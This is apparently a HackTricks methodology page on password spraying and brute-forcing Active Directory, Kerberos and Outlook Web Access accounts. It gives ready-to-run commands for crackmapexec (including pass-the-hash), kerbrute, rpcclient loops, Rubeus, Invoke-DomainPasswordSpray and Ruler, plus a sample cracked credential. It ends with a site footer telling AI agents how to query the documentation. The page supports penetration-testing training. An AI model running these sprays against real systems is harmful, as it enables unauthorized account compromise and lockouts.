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{% endhint %} ## **Password Spraying** Once you have found several **valid usernames** you can try the most **common passwords** (keep in mind the password policy of the environment) with each of the discovered users.\ By **default** the **minimum** **password** **length** is **7**. Lists of common usernames could also be useful: Notice that you **could lockout some accounts if you try several wrong passwords** (by default more than 10). ### Get password policy If you have some user credentials or a shell as a domain user you can **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol enum4linux -u 'username' -p 'password' -P rpcclient -U "" -N 10.10.10.10; rpcclient $>querydominfo ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength # From Windows net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` ### Exploitation from Linux (or all) * Using **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` * Using [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` * [**spray**](https://github.com/Greenwolf/Spray) ***(you can indicate number of attempts to avoid lockouts):*** ```bash spray.sh -smb ``` * Using [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NOT RECOMMENDED SOMETIMES DOESN'T WORK ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt ``` * With the `scanner/smb/smb_login` module of **Metasploit**: ![](/files/L1sDXiZPEP0dlKSE223P) * Using **rpcclient**: ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; done ``` #### From Windows * With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` * With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (It can generate users from the domain by default and it will get the password policy from the domain and limit tries according to it): ```powershell Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` * With [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) ``` Invoke-SprayEmptyPassword ``` ## Brute Force {% code overflow="wrap" %} ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` {% endcode %} ## Outlook Web Access There are multiples tools for p**assword spraying outlook**. * With [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) * with [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) * With [Ruler](https://github.com/sensepost/ruler) (reliable!) * With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) * With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) To use any of these tools, you need a user list and a password / a small list of passwords to spray. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 [x] Failed: cube0x0:Summer2020 [x] Failed: a.admin:Summer2020 [x] Failed: c.cube:Summer2020 [+] Success: s.svensson:Summer2020 ``` ## Google * ## Okta * * * ## References * * * [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) * {% hint style="success" %} Learn & practice AWS Hacking:

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{% endhint %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://angelica.gitbook.io/hacktricks/windows-hardening/active-directory-methodology/password-spraying.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.